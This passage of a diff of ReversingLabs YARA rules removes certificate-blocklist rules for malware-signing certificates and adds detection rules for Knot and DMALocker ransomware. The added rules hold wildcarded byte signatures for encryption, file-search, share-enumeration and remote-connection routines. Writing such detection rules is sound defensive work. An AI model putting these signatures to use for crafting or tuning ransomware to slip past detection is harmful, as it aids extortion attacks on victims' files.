?? EB + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Highweb Ireland Operations Limited" and ( pe.signatures [ i ] . serial == "00:e0:4a:34:4b:39:7f:75:2a:45:b1:28:a5:94:a3:d6:b5" or pe.signatures [ i ] . serial == "e0:4a:34:4b:39:7f:75:2a:45:b1:28:a5:94:a3:d6:b5" ) and 1597708800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $kill_processes_call ) and ( $kill_processes ) and ( $enum_resources ) and ( all of ( $search_files_* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $enum_resources_call ) } - -rule REVERSINGLABS_Cert_Blocklist_3Bcaed3Ef678F2F9Bf38D09E149B8D70 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Knot : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Knot ransomware." author = "ReversingLabs" - id = "0aea5110-569b-5d9c-a2ce-a6a9fe75b58e" - date = "2020-08-05" - modified = "2023-11-08" + id = "4dfe9da5-7ab1-57dc-95fc-b05777f235b8" + date = "2021-03-19" + modified = "2021-03-19" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4538-L4554" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Knot.yara#L1-L118" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dbf85cbd1d92823287749dac312f95576900753f60a694347b31b1e3aaa288a8" + logic_hash = "a7a3e13139d68314e583ec225a5d56373a551e67d46984dcf9a228a1f7275f14" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Knot" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 + FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 8B 4D ?? 51 + FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 + ?? 32 C0 E9 ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 + FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B + 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 + C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 + } + $encrypt_files_p2 = { + 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF + 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A + ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B + 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 6A + ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 + ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 45 ?? 50 8B 4D + ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 8B 8D ?? ?? ?? + ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 + ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 + FF 15 ?? ?? ?? ?? B0 ?? 8B E5 5D C3 + } + $find_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 + ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 0F B7 8D ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 89 95 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 83 F8 ?? 75 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? + 73 ?? 8B 95 ?? ?? ?? ?? 8B 04 95 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? + 83 C4 ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? 0F B6 95 ?? ?? ?? ?? 83 FA ?? 75 + } + $find_files_p2 = { + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 89 85 ?? ?? ?? ?? 83 + BD ?? ?? ?? ?? ?? 73 ?? 8B 8D ?? ?? ?? ?? 8B 14 8D ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? 0F B6 8D ?? ?? ?? + ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? + ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? + ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? + ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? + 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? + 51 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? + 8B E5 5D C3 + } + $remote_connection = { + 55 8B EC 81 EC ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A + ?? FF 15 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? FF 15 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C0 83 F8 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C8 83 F9 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 81 C2 ?? ?? ?? ?? 52 8D 95 ?? ?? ?? ?? + 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 8D + ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? + ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ?? + 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 95 ?? ?? + ?? ?? 83 C2 ?? 89 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7F ?? 8D 85 ?? ?? ?? ?? 50 8B + 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74 + ?? EB ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8D 95 ?? ?? ?? ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? EB ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 8B E5 5D C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "StarY Media Inc." and pe.signatures [ i ] . serial == "3b:ca:ed:3e:f6:78:f2:f9:bf:38:d0:9e:14:9b:8d:70" and 1599091200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_56D576A062491Ea0A5877Ced418203A1 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Dmalocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects DMALocker ransomware." author = "ReversingLabs" - id = "3db67353-6310-54ad-b46a-97daf63fee42" - date = "2020-08-05" - modified = "2023-11-08" + id = "3ddef0f1-61c9-59f6-a02c-35768c2cd4d6" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4556-L4572" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DMALocker.yara#L1-L149" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "19bd6834b432f3dc8786b449241082b359275559a112a8ef4a51efe185b256dc" + logic_hash = "107dbc4cacd9d451e9c6fe8aa91cd612f70ac767ee70f74f3a77d1e5548b054f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "DMALocker" + tc_detection_factor = 5 importance = 25 + strings: + $dmalock_v1_encrypt_files_1 = { + 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? + ?? ?? A3 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 + F8 ?? 75 ?? 32 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8A 9D ?? ?? ?? + ?? 33 C0 84 DB 74 ?? EB ?? 8D [2-5] 8A 90 ?? ?? ?? ?? 84 D2 74 ?? 8A 8C 05 + ?? ?? ?? ?? 3A CA 74 ?? 80 F1 ?? 3A CA 75 ?? 40 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 8A 8C + 05 ?? ?? ?? ?? 3A 88 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 84 DB 74 ?? 8A 90 ?? ?? ?? + ?? 84 D2 74 ?? 8A 8C 05 ?? ?? ?? ?? 3A CA + } + $dmalock_v1_encrypt_files_2 = { + EB ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? 52 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? + ?? 8B 4D ?? 5F 5E 33 CD B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $dmalock_v1_encrypt_files_3 = { + 74 ?? 80 F1 ?? 3A CA 75 ?? 40 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 8A 8C 05 ?? ?? ?? ?? 3A + 88 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 8D 95 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 52 E8 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 83 C4 ?? A8 ?? 74 ?? A8 ?? 0F 85 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 56 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 55 + ?? 8B 85 ?? ?? ?? ?? 52 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 + } + $dmalock_v1_enum_shares_and_discs_type_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ?? + ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 C4 ?? 89 ?? ?? ?? ?? ?? C6 85 ?? + ?? ?? ?? ?? 85 ?? 0F 84 ?? ?? ?? ?? ?? 32 DB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? ?? + 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 ?? 6A ?? 89 45 ?? 66 89 45 ?? 88 45 ?? 8D 45 ?? + 6A ?? 50 88 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 75 ?? B3 ?? 6A ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 5F 5E 5B 8B 4D ?? 33 CD + E8 ?? ?? ?? ?? 8B E5 5D C3 8D 95 ?? ?? ?? ?? 52 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 72 ?? C6 + 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? + 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 51 52 68 + } + $dmalock_v1_enum_shares_and_discs_type_2 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 8B 5D ?? 56 57 + 8D 8D ?? ?? ?? ?? 51 50 6A ?? 6A ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B 95 ?? ?? ?? + ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 85 FF 75 ?? 50 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? + ?? 8D A4 24 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 57 8D 95 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? 76 ?? 8D 77 ?? EB ?? 8D A4 24 + ?? ?? ?? ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 + C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0E 8B C1 83 C4 ?? 8D 78 ?? 8B FF 8A 10 40 84 + D2 75 ?? 2B C7 50 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 06 83 C4 ?? 8D 50 ?? 90 + 8A 08 40 84 C9 75 ?? 2B C2 6A ?? 8D 84 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 8B 4D ?? 83 C4 ?? 51 8D 95 ?? ?? ?? ?? 53 52 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 + C4 ?? 8B 46 ?? 83 E0 ?? 3C ?? 75 ?? 8B 4D ?? 51 53 8D 56 ?? 52 E8 ?? ?? ?? ?? 85 C0 + 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 40 83 C6 ?? 89 85 ?? + ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 50 + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 8B 4D ?? F7 D8 5F 1B C0 5E 33 CD 40 5B E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $dmalock_v1_enum_shares_and_discs_type_3 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 6A ?? 51 8B D8 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? F7 C3 ?? ?? ?? ?? 76 ?? 57 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? + ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B F0 56 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 FE ?? 74 ?? 83 FE ?? 74 ?? 83 FE ?? 75 ?? 8B + 55 ?? 8B 85 ?? ?? ?? ?? 52 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 47 D1 EB + FF 8D ?? ?? ?? ?? 75 ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $dmalock_v2_enum_logical_disks = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 33 DB 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 53 50 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BE 4D ?? 51 8D 95 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 88 9D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? + ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 75 ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? + B0 ?? 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 8A C3 33 CD 5B E8 ?? ?? + ?? ?? 8B E5 5D C3 + } + $dmalock_v4_remote_server_communication = { + 85 FF 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 FB ?? 0F + 87 ?? ?? ?? ?? FF 24 9D ?? ?? ?? ?? 8B 46 ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 + C4 ?? B0 ?? C3 8B 4E ?? 8B 56 ?? 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 + ?? C3 8B 46 ?? 8B 4E ?? 50 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B + 56 ?? 8B 46 ?? 52 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 4E ?? 8B + 56 ?? 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 46 ?? 8B 4E ?? 8B + 56 ?? 50 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 46 ?? 8B 4E ?? + 50 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 32 C0 C3 + } + $dmalock_v4_encrypt_file_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ?? + ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 56 + 32 DB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 56 + 6A ?? 89 45 ?? 89 45 ?? 66 89 45 ?? 8D 45 ?? 6A ?? 50 88 5D ?? E8 ?? ?? ?? ?? 6A ?? + 8D 4D ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? 6A ?? 57 56 E8 + ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 4D ?? + 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $dmalock_v4_encrypt_file_2 = { + 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ?? + ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B + D8 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 0F 85 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ?? ?? 85 F6 74 + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 46 ?? 85 C0 74 ?? 8B 75 ?? B9 ?? ?? ?? + ?? 8B F8 F3 A5 66 A5 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 46 + ?? EB ?? 33 F6 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 7E ?? 57 89 35 